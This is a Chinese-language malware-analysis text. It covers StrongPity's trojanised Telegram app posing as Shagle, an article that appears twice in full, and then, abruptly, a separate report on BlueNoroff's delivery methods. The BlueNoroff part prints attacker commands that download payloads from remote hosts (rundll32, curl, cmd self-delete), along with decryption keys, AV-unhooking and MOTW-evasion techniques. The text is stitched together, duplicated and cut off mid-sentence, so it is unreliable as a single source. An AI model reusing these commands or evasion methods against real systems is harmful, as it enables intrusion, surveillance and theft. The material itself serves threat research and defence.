ESET的研究人员最近发现了一个活跃的StrongPity活动,该活动会伪装成Shagle应用程序来传播木马化的Android Telegram应用程序。ESET研究人员认为其幕后组织是StrongPity APT组织。Shagle是一种随机视频聊天服务,提供陌生人之间的加密通信。该活动自2021年11月起活跃,与完全基于网络的真正Shagle网站不同,该网站不提供官方移动应用程序来访问其服务,只提供Android应用程序供下载,这也就意味着用户不可能进行基于网络的流媒体传输。

被下载的恶意应用程序是一个功能齐全但被木马化的合法Telegram应用程序,然而,其最终却以Shagle应用程序的形式呈现。我们其称为假冒Shagle应用程序、木马化的Telegram应用程序或StrongPity后门。ESET研究人员将其命名为Android/StrongPity.A。

StrongPity后门具有各种间谍功能:它的11个动态触发模块负责记录电话、收集短信、通话记录列表、联系人列表等。这些模块均是首次被发现。如果受害者授予恶意StrongPity应用程序可访问性服务,它的一个模块也可以访问传入的通知,并能够从Viber、Skype、Gmail、Messenger和Tinder等17个应用程序中窃取通信。

目前,此次攻击还没有特定的受害者。不过在研究过程中,从虚假网站下载的恶意软件不再活跃,也不再可能成功安装它并触发其后门功能,因为StrongPity还没有为其木马Telegram应用程序获得自己的API ID。但如果攻击者决定更新恶意应用程序,这种情况可能会随时改变。

技术分析

这场StrongPity活动围绕着一个Android后门展开,该后门来自一个包含“dutch”字样的域名。该网站模仿了shagle.com上名为Shagle的合法服务。在下图中,你可以看到两个网站的主页。该恶意应用程序可直接从虚假网站下载,Google Play store中还未出现该恶意程序。这是合法Telegram应用程序的木马化版本,看起来就像Shagle官方应用程序一样。注意,目前还没有Shagle的官方Android应用程序。

1.jpg

左边为合法网站,右边为虚假网站

如下图所示,虚假网站的HTML代码包含了2021 11月1日使用自动工具HTTrack从合法的shagle.com网站复制的证据。恶意域名是在同一天注册的,所以从那天起,虚假网站和假冒Shagle应用程序就可以下载了。

2.png

在虚假网站的HTML代码中发现的由HTTrack工具生成的日志记录

受害目标

2022年7月18日,当一个恶意应用程序和一个模仿shagle.com的网站链接被上传时,研究人员在VirusTotal的YARA规则被触发。与此同时,研究人员在Twitter上收到了关于该样本的通知,尽管它被错误地归因于Bahamut,但仍然没有识别出任何受害者。

幕后组织

虚假Shagle网站发布的APK使用与趋势科技在2021年发现的木马化叙利亚电子政务应用程序相同的代码签名证书进行签名,该应用程序的幕后组织就是StrongPity。

3.png

该证书签名了假冒的Shagle应用和木马化的叙利亚电子政务应用

StrongPity早在之前的活动中就使用了假冒Shagle应用程序中的恶意代码,并实现了一个简单但功能强大的后门。这个代码只在StrongPity开展的活动中使用过。在下图中,你可以看到一些添加的恶意类,其中许多经过模糊处理的名称在两个活动的代码中甚至是相同的。

4.jpg

木马化的叙利亚电子政务应用程序(左)和木马化的Telegram应用程序(右)的类名比较

将此次活动的后门代码与木马化的叙利亚电子政务应用程序的后门代码(SHA-1: 5A5910C2C9180382FCF7A939E9909044F0E8918B)进行比较,它具有扩展的功能,但使用相同的代码来提供类似的功能。在下图中,你可以比较两个示例中负责在组件之间发送消息的代码。这些消息会触发后门的恶意行为,因此,研究人员坚信假冒Shagle应用程序与StrongPity组织有关。

5.png

负责在木马化的叙利亚电子政务应用程序中触发恶意功能的消息

6.png

负责在假冒Shagle应用程序中触发恶意功能的消息

初始访问

如上所述,假冒的Shagle应用程序被托管在虚假Shagle网站上,受害者必须选择从该网站下载并安装该应用程序。由于目前还无法从Google Play下载该恶意软件,研究人员不知道潜在的受害者是如何被诱导到虚假网站下载恶意软件的。

工具集

根据虚假网站上的描述,这款应用是免费的,旨在用于与新朋友见面和聊天。然而,下载的应用程序却是一个被恶意修复的Telegram应用程序,早在2022年2月25日左右就可下载。

这个木马化的Telegram使用了与合法Telegram应用相同的程序包名。包名应该是每个Android应用的唯一ID,并且在任何给定设备上都必须是唯一的。这意味着,如果潜在受害者的设备上已经安装了官方Telegram应用程序,那么这个后门版本就无法安装,如下图所示。这可能意味着两种情况:攻击者要么首先与潜在受害者沟通,诱导他们在安装了Telegram的设备上卸载Telegram,要么该活动将重点放在很少使用Telegram进行通信的国家。

7.jpg

如果设备上已经安装了Telegram官方应用,则无法成功安装木马版本

StrongPity的木马化Telegram应用程序应该可以像官方版本一样使用标准的API进行通信,理论上来讲,这些API在Telegram网站上有很好的记录,但由于这个应用程序已经不能工作了,所以我们无法再检查。

在研究过程中,从虚假网站上获得的当前版本的恶意软件不再活跃,也不再可能成功安装并触发其后门功能。当研究人员尝试使用他们的电话号码注册时,重新打包的Telegram应用程序无法从服务器获取API ID,因此无法正常工作。如下图所示,应用程序显示API_ID_PUBLISHED_FLOOD错误。

8.png

使用电话号码注册时显示错误

根据Telegram的错误文档,StrongPity似乎没有获得自己的API ID。相反,它使用了Telegram开源代码中包含的API ID样本来进行初始测试。Telegram监控API ID的使用并限制示例API ID,因此在发布的应用程序中使用它会导致如上图所示的错误。由于该错误,用户无法再注册和使用该应用程序或触发其恶意功能。这可能意味着StrongPity的运营商没有考虑到这一点,或者可能在传播应用程序时有足够的时间来监视受害者使用的Telegram ID。由于该网站从未提供过该应用程序的新版本,这可能表明StrongPity成功地将恶意软件部署到了其预期目标。

所以,在进行研究时,虚假网站上的假冒Shagle应用程序已不再活跃。然而,如果攻击者决定更新恶意应用程序,这个情况可能会随时改变。

StrongPity后门代码的组件和所需的权限附加到Telegram应用程序的AndroidManifest.xml文件中。如下图所示,这可以很容易地看出恶意软件需要哪些权限。

9.png

AndroidManifest.xml突出显示了StrongPity后门的组件和权限

从Android清单中,我们可以看到恶意类被添加到org.telegram.messenger包中,作为原始应用程序的一部分出现。

初始恶意功能是由设置好的操作(BOOT_COMPLETED、BATTERY_LOW或USER_PRESENT)后执行的三个广播接收器之一触发的。首次启动之后,它会动态注册其他广播接收器来监视SCREEN_ON、SCREEN_OFF和CONNECTIVITY_CHANGE事件。然后,假冒Shagle应用程序使用IPC(进程间通信)在其组件之间进行通信,以触发各种操作。它使用HTTPS与C&C服务器联系,发送有关受攻击设备的基本信息,并接收包含11个二进制模块的AES加密文件,该文件将由父应用程序动态执行。如下图所示,这些模块存储在应用程序的内部存储/data/user/0/org.telegram.messenger/files/.li/中。

10.png

StrongPity后门接收包含可执行模块的加密文件

11.png

从服务器接收的模块存储在StrongPity后门的内部存储中

每个模块负责不同的功能。模块名列表存储在sharedconfig.xml文件的本地共享首选项中,如下图所示。

必要时,模块由父应用程序动态触发。每个模块都有自己的模块名称,并负责不同的功能,例如:

libarm.jar (cm module) ——记录通话;

libmpeg4.jar (nt module) ——收集来自17个应用程序的传入通知消息的文本;

local.jar (fm/fp module)——收集设备上的文件列表(文件树);

phone.jar (ms module) ——通过窃取联系人姓名、聊天信息和日期,滥用可访问性服务来监视消息应用程序;

resources.jar (sm module)——收集存储在设备上的短信;

services.jar (lo module) ——获取设备位置;

systemui.jar (sy module) ——收集设备和系统信息;

timer.jar (ia module) ——收集已安装应用程序的列表;

toolkit.jar (cn module)——收集联系人列表;

watchkit.jar (ac module) ——收集设备帐户列表;

wearkit.jar (cl module) ——收集调用日志列表;

12.png

StrongPity后门使用的模块列表

所有获得的数据都存储在clear-in/data/user/0/org.telegram.messenger/databases/outdata中,然后使用AES加密并发送到C&C服务器,如下图所示。

13.png

加密的用户数据被泄露到C&C服务器

与第一个手机版StrongPity相比,这个StrongPity后门扩展了监视功能。它可以请求受害者激活可访问性服务并获得通知访问权。如果受害者启用了它们,恶意软件将监视传入的通知,并滥用可访问性服务,从其他应用程序中窃取聊天记录。

14.png

针对受害者的恶意软件请求、通知访问和可访问性服务

通过通知访问,恶意软件可以读取来自17个目标应用程序的通知消息。以下是他们的软件包名称列表:

Messenger (com.facebook.orca)

Messenger Lite (com.facebook.mlite)

Viber – Safe Chats And Calls (com.viber.voip)

Skype (com.skype.raider)

LINE: Calls & Messages (jp.naver.line.android)

Kik — Messaging & Chat App (kik.android)

tango-live stream & video chat (com.sgiggle.production)

Hangouts (com.google.android.talk)

Telegram (org.telegram.messenger)

WeChat (com.tencent.mm)

Snapchat (com.snapchat.android)

Tinder (com.tinder)

Hike News & Content (com.bsb.hike)

Instagram (com.instagram.android)

Twitter (com.twitter.android)

Gmail (com.google.android.gm)

imo-International Calls & Chat (com.imo.android.imoim)

如果设备已处于根目录,则恶意软件会默默地尝试授予WRITE_SETTINGS, WRITE_SECURE_SETTINGS, REBOOT, MOUNT_FORMAT_FILESYSTEMS, MODIFY_PHONE_STATE, PACKAGE_USAGE_STATS, READ_PRIVILEGED_PHONE_STATE权限,以启用可访问性服务,并授予通知访问权限。之后,StrongPity后门尝试禁用SecurityLogAgent应用程序(com.samsung.android.securitylogagent),这是一个官方系统应用程序,有助于保护三星设备的安全,并禁用来自恶意软件本身的所有应用程序通知,这些应用程序通知可能在未来显示给受害者,以防应用程序错误,崩溃或警告。StrongPity后门本身并不尝试对设备进行根操作。

AES算法使用CBC模式和硬编码密钥来解密下载的模块:

AES key–aaaanothingimpossiblebbb

AES IV–aaaanothingimpos

总结

攻击者重新利用了官方Telegram应用程序,在其中加入了后门代码。本次活动中的恶意代码、功能、类名以及用于签署APK文件的证书与之前StrongPity组织发起的活动相同,有鉴于此,本次攻击活动背后的组织是StrongPity组织。

在我们进行研究时,由于API_ID_PUBLISHED_FLOOD错误,在虚假网站上可用的示例被禁用,这导致恶意代码没有被触发,潜在的受害者可能会从目标设备中删除异常应用程序。

通过分析代码可知,后门是模块化的,额外的二进制模块是从C&C服务器下载的。这意味着模块的数量和类型可以在任何时候改变,以适应由StrongPity组织发起的活动。

根据我们的分析,这似乎是StrongPity组织开发的第二个针对安卓恶意软件的程序,与第一个版本相比,它还滥用了可访问性服务和通知访问,将收集的数据存储在本地数据库中,尝试执行su命令,并且对于大多数数据收集使用下载的模块。


ESET的研究人员最近发现了一个活跃的StrongPity活动,该活动会伪装成Shagle应用程序来传播木马化的Android Telegram应用程序。ESET研究人员认为其幕后组织是StrongPity APT组织。Shagle是一种随机视频聊天服务,提供陌生人之间的加密通信。该活动自2021年11月起活跃,与完全基于网络的真正Shagle网站不同,该网站不提供官方移动应用程序来访问其服务,只提供Android应用程序供下载,这也就意味着用户不可能进行基于网络的流媒体传输。

被下载的恶意应用程序是一个功能齐全但被木马化的合法Telegram应用程序,然而,其最终却以Shagle应用程序的形式呈现。我们其称为假冒Shagle应用程序、木马化的Telegram应用程序或StrongPity后门。ESET研究人员将其命名为Android/StrongPity.A。

StrongPity后门具有各种间谍功能:它的11个动态触发模块负责记录电话、收集短信、通话记录列表、联系人列表等。这些模块均是首次被发现。如果受害者授予恶意StrongPity应用程序可访问性服务,它的一个模块也可以访问传入的通知,并能够从Viber、Skype、Gmail、Messenger和Tinder等17个应用程序中窃取通信。

目前,此次攻击还没有特定的受害者。不过在研究过程中,从虚假网站下载的恶意软件不再活跃,也不再可能成功安装它并触发其后门功能,因为StrongPity还没有为其木马Telegram应用程序获得自己的API ID。但如果攻击者决定更新恶意应用程序,这种情况可能会随时改变。

技术分析

这场StrongPity活动围绕着一个Android后门展开,该后门来自一个包含“dutch”字样的域名。该网站模仿了shagle.com上名为Shagle的合法服务。在下图中,你可以看到两个网站的主页。该恶意应用程序可直接从虚假网站下载,Google Play store中还未出现该恶意程序。这是合法Telegram应用程序的木马化版本,看起来就像Shagle官方应用程序一样。注意,目前还没有Shagle的官方Android应用程序。

1.jpg

左边为合法网站,右边为虚假网站

如下图所示,虚假网站的HTML代码包含了2021 11月1日使用自动工具HTTrack从合法的shagle.com网站复制的证据。恶意域名是在同一天注册的,所以从那天起,虚假网站和假冒Shagle应用程序就可以下载了。

2.png

在虚假网站的HTML代码中发现的由HTTrack工具生成的日志记录

受害目标

2022年7月18日,当一个恶意应用程序和一个模仿shagle.com的网站链接被上传时,研究人员在VirusTotal的YARA规则被触发。与此同时,研究人员在Twitter上收到了关于该样本的通知,尽管它被错误地归因于Bahamut,但仍然没有识别出任何受害者。

幕后组织

虚假Shagle网站发布的APK使用与趋势科技在2021年发现的木马化叙利亚电子政务应用程序相同的代码签名证书进行签名,该应用程序的幕后组织就是StrongPity。

3.png

该证书签名了假冒的Shagle应用和木马化的叙利亚电子政务应用

StrongPity早在之前的活动中就使用了假冒Shagle应用程序中的恶意代码,并实现了一个简单但功能强大的后门。这个代码只在StrongPity开展的活动中使用过。在下图中,你可以看到一些添加的恶意类,其中许多经过模糊处理的名称在两个活动的代码中甚至是相同的。

4.jpg

木马化的叙利亚电子政务应用程序(左)和木马化的Telegram应用程序(右)的类名比较

将此次活动的后门代码与木马化的叙利亚电子政务应用程序的后门代码(SHA-1: 5A5910C2C9180382FCF7A939E9909044F0E8918B)进行比较,它具有扩展的功能,但使用相同的代码来提供类似的功能。在下图中,你可以比较两个示例中负责在组件之间发送消息的代码。这些消息会触发后门的恶意行为,因此,研究人员坚信假冒Shagle应用程序与StrongPity组织有关。

5.png

负责在木马化的叙利亚电子政务应用程序中触发恶意功能的消息

6.png

负责在假冒Shagle应用程序中触发恶意功能的消息

初始访问

如上所述,假冒的Shagle应用程序被托管在虚假Shagle网站上,受害者必须选择从该网站下载并安装该应用程序。由于目前还无法从Google Play下载该恶意软件,研究人员不知道潜在的受害者是如何被诱导到虚假网站下载恶意软件的。

工具集

根据虚假网站上的描述,这款应用是免费的,旨在用于与新朋友见面和聊天。然而,下载的应用程序却是一个被恶意修复的Telegram应用程序,早在2022年2月25日左右就可下载。

这个木马化的Telegram使用了与合法Telegram应用相同的程序包名。包名应该是每个Android应用的唯一ID,并且在任何给定设备上都必须是唯一的。这意味着,如果潜在受害者的设备上已经安装了官方Telegram应用程序,那么这个后门版本就无法安装,如下图所示。这可能意味着两种情况:攻击者要么首先与潜在受害者沟通,诱导他们在安装了Telegram的设备上卸载Telegram,要么该活动将重点放在很少使用Telegram进行通信的国家。

7.jpg

如果设备上已经安装了Telegram官方应用,则无法成功安装木马版本

StrongPity的木马化Telegram应用程序应该可以像官方版本一样使用标准的API进行通信,理论上来讲,这些API在Telegram网站上有很好的记录,但由于这个应用程序已经不能工作了,所以我们无法再检查。

在研究过程中,从虚假网站上获得的当前版本的恶意软件不再活跃,也不再可能成功安装并触发其后门功能。当研究人员尝试使用他们的电话号码注册时,重新打包的Telegram应用程序无法从服务器获取API ID,因此无法正常工作。如下图所示,应用程序显示API_ID_PUBLISHED_FLOOD错误。

8.png

使用电话号码注册时显示错误

根据Telegram的错误文档,StrongPity似乎没有获得自己的API ID。相反,它使用了Telegram开源代码中包含的API ID样本来进行初始测试。Telegram监控API ID的使用并限制示例API ID,因此在发布的应用程序中使用它会导致如上图所示的错误。由于该错误,用户无法再注册和使用该应用程序或触发其恶意功能。这可能意味着StrongPity的运营商没有考虑到这一点,或者可能在传播应用程序时有足够的时间来监视受害者使用的Telegram ID。由于该网站从未提供过该应用程序的新版本,这可能表明StrongPity成功地将恶意软件部署到了其预期目标。

所以,在进行研究时,虚假网站上的假冒Shagle应用程序已不再活跃。然而,如果攻击者决定更新恶意应用程序,这个情况可能会随时改变。

StrongPity后门代码的组件和所需的权限附加到Telegram应用程序的AndroidManifest.xml文件中。如下图所示,这可以很容易地看出恶意软件需要哪些权限。

9.png

AndroidManifest.xml突出显示了StrongPity后门的组件和权限

从Android清单中,我们可以看到恶意类被添加到org.telegram.messenger包中,作为原始应用程序的一部分出现。

初始恶意功能是由设置好的操作(BOOT_COMPLETED、BATTERY_LOW或USER_PRESENT)后执行的三个广播接收器之一触发的。首次启动之后,它会动态注册其他广播接收器来监视SCREEN_ON、SCREEN_OFF和CONNECTIVITY_CHANGE事件。然后,假冒Shagle应用程序使用IPC(进程间通信)在其组件之间进行通信,以触发各种操作。它使用HTTPS与C&C服务器联系,发送有关受攻击设备的基本信息,并接收包含11个二进制模块的AES加密文件,该文件将由父应用程序动态执行。如下图所示,这些模块存储在应用程序的内部存储/data/user/0/org.telegram.messenger/files/.li/中。

10.png

StrongPity后门接收包含可执行模块的加密文件

11.png

从服务器接收的模块存储在StrongPity后门的内部存储中

每个模块负责不同的功能。模块名列表存储在sharedconfig.xml文件的本地共享首选项中,如下图所示。

必要时,模块由父应用程序动态触发。每个模块都有自己的模块名称,并负责不同的功能,例如:

libarm.jar (cm module) ——记录通话;

libmpeg4.jar (nt module) ——收集来自17个应用程序的传入通知消息的文本;

local.jar (fm/fp module)——收集设备上的文件列表(文件树);

phone.jar (ms module) ——通过窃取联系人姓名、聊天信息和日期,滥用可访问性服务来监视消息应用程序;

resources.jar (sm module)——收集存储在设备上的短信;

services.jar (lo module) ——获取设备位置;

systemui.jar (sy module) ——收集设备和系统信息;

timer.jar (ia module) ——收集已安装应用程序的列表;

toolkit.jar (cn module)——收集联系人列表;

watchkit.jar (ac module) ——收集设备帐户列表;

wearkit.jar (cl module) ——收集调用日志列表;

12.png

StrongPity后门使用的模块列表

所有获得的数据都存储在clear-in/data/user/0/org.telegram.messenger/databases/outdata中,然后使用AES加密并发送到C&C服务器,如下图所示。

13.png

加密的用户数据被泄露到C&C服务器

与第一个手机版StrongPity相比,这个StrongPity后门扩展了监视功能。它可以请求受害者激活可访问性服务并获得通知访问权。如果受害者启用了它们,恶意软件将监视传入的通知,并滥用可访问性服务,从其他应用程序中窃取聊天记录。

14.png

针对受害者的恶意软件请求、通知访问和可访问性服务

通过通知访问,恶意软件可以读取来自17个目标应用程序的通知消息。以下是他们的软件包名称列表:

Messenger (com.facebook.orca)

Messenger Lite (com.facebook.mlite)

Viber – Safe Chats And Calls (com.viber.voip)

Skype (com.skype.raider)

LINE: Calls & Messages (jp.naver.line.android)

Kik — Messaging & Chat App (kik.android)

tango-live stream & video chat (com.sgiggle.production)

Hangouts (com.google.android.talk)

Telegram (org.telegram.messenger)

WeChat (com.tencent.mm)

Snapchat (com.snapchat.android)

Tinder (com.tinder)

Hike News & Content (com.bsb.hike)

Instagram (com.instagram.android)

Twitter (com.twitter.android)

Gmail (com.google.android.gm)

imo-International Calls & Chat (com.imo.android.imoim)

如果设备已处于根目录,则恶意软件会默默地尝试授予WRITE_SETTINGS, WRITE_SECURE_SETTINGS, REBOOT, MOUNT_FORMAT_FILESYSTEMS, MODIFY_PHONE_STATE, PACKAGE_USAGE_STATS, READ_PRIVILEGED_PHONE_STATE权限,以启用可访问性服务,并授予通知访问权限。之后,StrongPity后门尝试禁用SecurityLogAgent应用程序(com.samsung.android.securitylogagent),这是一个官方系统应用程序,有助于保护三星设备的安全,并禁用来自恶意软件本身的所有应用程序通知,这些应用程序通知可能在未来显示给受害者,以防应用程序错误,崩溃或警告。StrongPity后门本身并不尝试对设备进行根操作。

AES算法使用CBC模式和硬编码密钥来解密下载的模块:

AES key–aaaanothingimpossiblebbb

AES IV–aaaanothingimpos

总结

攻击者重新利用了官方Telegram应用程序,在其中加入了后门代码。本次活动中的恶意代码、功能、类名以及用于签署APK文件的证书与之前StrongPity组织发起的活动相同,有鉴于此,本次攻击活动背后的组织是StrongPity组织。

在我们进行研究时,由于API_ID_PUBLISHED_FLOOD错误,在虚假网站上可用的示例被禁用,这导致恶意代码没有被触发,潜在的受害者可能会从目标设备中删除异常应用程序。

通过分析代码可知,后门是模块化的,额外的二进制模块是从C&C服务器下载的。这意味着模块的数量和类型可以在任何时候改变,以适应由StrongPity组织发起的活动。

根据我们的分析,这似乎是StrongPity组织开发的第二个针对安卓恶意软件的程序,与第一个版本相比,它还滥用了可访问性服务和通知访问,将收集的数据存储在本地数据库中,尝试执行su命令,并且对于大多数数据收集使用下载的模块。


截图.jpg

BlueNoroff据说是一个朝鲜黑客组织,其攻击主要充满经济动机。最近有消息报道,它创建70多个虚假域名并冒充银行和风险投资公司后窃取了数百万美元的加密货币。根据调查,大多数域名模仿日本风险投资公司,表明BlueNoroff对该国用户和公司数据的浓厚兴趣。

今年10月,我们观察到其武器库中采用了新的恶意软件。该组织通常利用Word文档,并使用快捷方式进行初始攻击。然而,它最近开始采用新的恶意软件传播方法。

该组织采用的第一个新方法旨在规避网络标记(MOTW)标志,即当用户试图打开从互联网下载的文件时,Windows会显示警告信息的安全措施。为此,使用了光盘映像(.iso扩展名)和虚拟硬盘(.vhd扩展名)文件格式。这是当今逃避MOTW的常用策略,BlueNoroff也采用了这一策略。

此外,该组织还测试了不同的文件类型,以改进恶意软件的传播方法。我们观察到一个新的Visual Basic脚本,一个以前未见过的Windows批处理文件和一个Windows可执行文件。BlueNoroff幕后的攻击者似乎正在扩展或尝试新的文件类型,以有效地传播他们的恶意软件。

在研究了他们使用的基础设施后,我们发现这个组织使用了70多个域名,这意味着他们直到最近都非常活跃。此外,他们还创建了大量看起来像风险投资和银行域名的假域名。大多数域名模仿日本风险投资公司,表明该组织对日本金融实体有着广泛的兴趣。 

BlueNoroff组织引入了新的文件类型来规避网络标记(MOTW)安全措施; 

BleuNoroff组织扩展了文件类型并调整了感染方法;

BlueNoroff创建了大量假冒风险投资公司和银行的假域名。

背景

在2022年9月底,我们在追踪分析中观察到新的BlueNoroff恶意软件。经过仔细的调查,我们确认攻击者采用了新的技术来传达最终的负载。攻击者利用了几个脚本,包括Visual Basic脚本和Windows批处理脚本。他们还开始使用磁盘镜像文件格式.iso和.vhd来传播他们的恶意软件。对于中间感染,攻击者引入了一个下载程序来获取和生成下一阶段的有效负载。尽管最初的攻击方法在这次活动中有很大不同,但我们之前分析的最终有效负载没有发生重大变化。

1.png

新型感染链

持久攻击的初始感染

根据追踪分析,我们观察到阿联酋的一名受害者受到了恶意Word文档的攻击。受害人于2022年9月2日收到了一份名为“Shamjit Client Details Form.doc”的文件。不幸的是,我们无法获取该文档,但它是从以下路径执行的:

2.png

从文件路径来看,我们可以假设受害者是销售部门负责签署合同的员工 

启动后,恶意文档连接到远程服务器并下载有效负载。在这种特殊情况下,可执行文件ieinstal.exe用于绕过UAC。

远程URL:https://bankofamerica.us[.]org/lsizTZCslJm/W+Ltv_Pa/qUi+KSaD/_rzNkkGuW6/cQHgsE=

已创建负载路径:%Profile%\cr.dat

衍生命令:cmd.exe%Profile%\cr.dat 5pKwgIV5otiKb6JrNddaVJOaLjMkj4zED238vIU=

初次感染后,我们观察到攻击者进行了几次键盘操作。通过植入的后门,他们试图对受害者进行指纹识别,并安装具有高级权限的额外恶意软件。在感染后,攻击者执行了几个Windows命令来收集基本的系统信息。18小时后,他们又回来安装了具有更高权限的恶意软件。

3.png

后利用

当恶意Word文档打开时,它会从远程服务器获取下一个有效负载:

下载URL:http://avid.lno-prima[.]lol/VcIf1hLJopY/shU_pJgW2Y/KvSuUJYGoa/sX+Xk4Go/gGhI=

提取的有效负载应保存在%Profile%\update.dll中。最终,提取的文件由以下命令生成:

命令#1:rundll32.exe%Profile%\update.dll,#1 5pOygIlrsNaAYqx8JNZSTouZNjo+j5XEFHzxqIIqpQ==

命令#2:rundll32.exe%Profile%\update.dll,#1 5oGygYVhos+IaqBlNdFaVJSfMiwhh4LCDn4=

BlueNoroff组织通常使用的另一种方法是带有快捷方式文件的ZIP存档。我们最近发现的存档文件包含一个受密码保护的诱饵文档和一个名为“Password.txt.lnk”的快捷方式文件。这是经典的BlueNoroff策略,说服受害者执行恶意快捷方式文件以获取诱饵文档的密码。最新发现的档案文件(MD5 1e3df8ee796fc8a13731c6de1aed0818)有一个日文文件名,新しいボ,ナススケジュ,ル.zip(日文“新奖金计划”),表明他们对日本目标感兴趣。

与前一个快捷方式示例的主要区别在于,它获取了额外的脚本负载(Visual Basic脚本或HTML应用程序),此外,此时还采用了另一种获取和执行下一阶段有效负载的方法。受害者双击快捷方式文件时执行了以下命令:

4.png

为了逃避检测,攻击者使用了Living Off the Land Binaries (LOLBins)

DeviceCredentialDeployment执行是一个众所周知的LOLBin,用于隐藏命令的窗口。攻击者还滥用msiexe.exe文件,以静默方式启动获取的Windows安装程序文件。

方法1:规避MOTW标志的技巧

我们观察到攻击者检查了不同的文件类型来传递他们的恶意软件。最近,许多攻击者采用图像文件来避免MOTW (web标记)。简而言之,MOTW是微软引入的一种缓解技术。NTFS文件系统标记从互联网下载的文件,Windows以安全的方式处理该文件。例如,当从互联网获取Microsoft Office文件时,操作系统在受保护视图中打开它,这限制了嵌入宏的执行。为了避免这种缓解技术,越来越多的攻击者开始滥用ISO文件类型。BlueNoroff组织很可能用ISO镜像文件来传播他们的恶意软件。虽然它仍在开发中,但我们将此示例作为预警。此ISO图像文件包含一个PowerPoint幻灯片放映和一个Visual Basic脚本。

5.png

ISO镜像的嵌入式文件

Microsoft PowerPoint文件包含链接。当用户点击链接时,它将执行1.vbs文件。当我们检查VBS文件时,它只生成了一个“ok”消息,这表明BlueNoroff仍在尝试这种方法。

6.png

根据其他发现,我们从VirusTotal中发现了一个野外示例(MD5 a17e9fc78706431ffc8b3085380fe29f)。在分析时,此.vhd示例未被任何反病毒软件检测到。虚拟磁盘文件包括伪造的PDF文件、Windows可执行文件和加密的Dump.bin文件。PDF和可执行文件在文件扩展名前有许多空格,以隐藏它并减少怀疑。

7.png

VHD文件里面的一个文件

Job_Description[spaces].exe文件(MD5 931d0969654af3f77fc1dab9e2bd66b1)是加载下一阶段有效负载的加载器。在启动时,它将Dump.bin文件复制到%Templates%\war[current time][random value].bin (i.e., war166812964324445.bin).。Dump.bin中PE头被修改。恶意软件读取Dump.bin的第一个字节,即该文件中的0xAF,并使用该密钥解码0x3E8字节。解密后的数据是PE文件的头文件,将恢复后的头文件覆盖到原文件中。最后,它通过生成普通的第一个导出函数来加载解密的DLL文件。

生成的下载程序在文件的末尾包含一个加密的配置。恶意软件首先从文件末尾获取配置数据的总大小和有效负载URL的长度。它们分别位于文件末尾的4字节和8字节处。恶意软件使用嵌入的64字节密钥,使用RC4算法解密配置数据。

RC4秘钥:46 61 44 6D 38 43 74 42 48 37 57 36 36 30 77 6C 62 74 70 57 67 34 6A 79 4C 46 62 67 52 33 49 76 52 77 36 45 64 46 38 49 47 36 36 37 64 30 54 45 69 6D 7A 54 69 5A 36 61 42 74 65 69 50 33。

恢复URL: hxxps://docs.azure-protection[.]cloud/EMPxSKTgrr3/2CKnoSNLFF/0d6rQrBEMv/gGFroIw5_m/n9hLXkEOy3/wyQ%3D%3D

8.png

配置结构

然而,在另一个下载程序的示例中,有效负载URL是使用命令行参数传播的。另外,一些其他下载程序(MD5 f766f97eb213d81bf15c02d4681c50a4)具有检查工作环境的功能。如果物理内存小于2147,483,648字节,恶意软件将终止执行。

9.png

下载程序感染流

此下载程序检查以下防病毒供应商的名称:Sophos、Kaspersky、Avast、Avira、Bitdefender、TrendMicro和Windows Defender。如果安装了TrendMicro、BitDefender或Windows Defender产品,则恶意软件会执行一个经典的解锁DLL技巧,以从系统库中删除用户模式挂钩。这种规避技术会用新加载的ntdll库覆盖预加载的ntdll库的.text部分,以便使用原始API地址恢复挂接的API地址。使用此技巧,恶意软件可以禁用EDR/AV产品的功能。接下来,恶意软件创建一个互斥锁以避免重复执行。 

互斥名称:da9f0e7dc6c52044fa29bea5337b4792b8b873373ba99ad816d5c9f5f275f03f

接下来,恶意软件在同一目录中打开一个PDF诱饵文档。这份假文件伪装成一家日本跨国银行提供的工作邀请。

如果受害者的电脑上安装了Windows Defender或Bitdefender Antivirus,恶意软件就会执行以下命令:

Windows Defender: cmd /c timeout /t 10 & Del /f /q \”[current file name]\” & attrib -s -h \”[PDF decoy file]\” & rundll32 \”[current DLL file path]\” #1;

Bitdefender: cmd /c timeout /t 10 & rundll32 \”[current DLL file path]\” #1;

这种恶意软件的主要目标是获取下一阶段的有效负载。为此,恶意软件使用cURL库,根据安装的防病毒软件组合cURL命令。

Avira or Avast installed: curl -A cur1-agent -L [payload URL(| -x proxy URL)] -s -d da;

Other cases: curl -A cur1-agent -L [payload URL(| -x proxy URL)] -s -d dl;

注意,用户代理名称为“cur1-agent”,如果受害者安装了Avira或Avast,恶意软件会发送“da”POST数据。否则,恶意软件将发送“dl”POST数据。如果cURL命令获取的数据包含“

如果安装了Avira或Avast,恶意软件将解密的有效负载保存到“%TEMPLATES%\marcoor.dll”,并使用带有有效负载URL的rundll32.exe命令生成它。

command: exe %TEMPLATES%\marcoor.dll #1 [payload URL]

否则,恶意软件不会将有效负载写入文件,而是将获取的有效负载注入explorer.exe进程。所获取的有效负载是一个DLL类型的可执行文件,其导出函数由“有效负载URL”派生。

不幸的是,到目前为止,我们还无法获得精确的感染链。然而,从分析数据中,我们可以确认受害者最终是被后门类型的恶意软件攻击的。基于恶意软件的静态信息和部分内部代码,我们评估最终的有效负载仍然与我们在上一篇文章中描述的Persistence Backdoor#2非常相似。

方法2:脚本和小说下载程序 

此外,我们还观察到可疑批处理文件的下载和启动。攻击者利用了不同的lolbin。恶意软件的执行是使用system目录下合法的script, SyncAppvPublishingServer.vbs, 完成的。此脚本用于通过Windows计划任务执行PowerShell脚本。

10.png

我们还在分析中观察到了该批处理文件的上下文。批处理文件名为“What is Blockchain.bat”。顾名思义,该组织仍然以区块链行业为目标。为此,我们提取了批处理文件的scriptlet。

11.png

Inproc.exe是合法的mshta.exe文件(MD5 0b4340ed812dc82ce636c00fa5c9bef2), rwinsta.exe是合法的rundll32.exe文件(MD5 ef3179d498793bf4234f708d3be28633)。Blockchain.pdf文件是mshta.exe进程生成的恶意HTML应用程序文件。虽然没有HTA脚本(Blockchain.pdf),但我们可以基于假设脚本的功能显示诱饵文档并获取下一阶段的有效负载。

12.png

此外,我们观察到该组织在此时引入了一个新的Windows可执行类型的下载程序。这个恶意软件(MD5 087407551649376d90d1743bac75aac8)在获取远程有效负载并执行时生成一个假密码文件。在执行时,它创建一个假文件(wae.txt)来显示由字符串“password”组成的密码,并从嵌入的URL中获取有效负载并加载它。该方案通过notepad.exe显示密码,这是BlueNoroff组织为了避免引起受害者的怀疑而惯用的伎俩。通常,密码包含打开所提供的加密诱饵文档所需的密码。

13.png

含有假密码文件的下载 

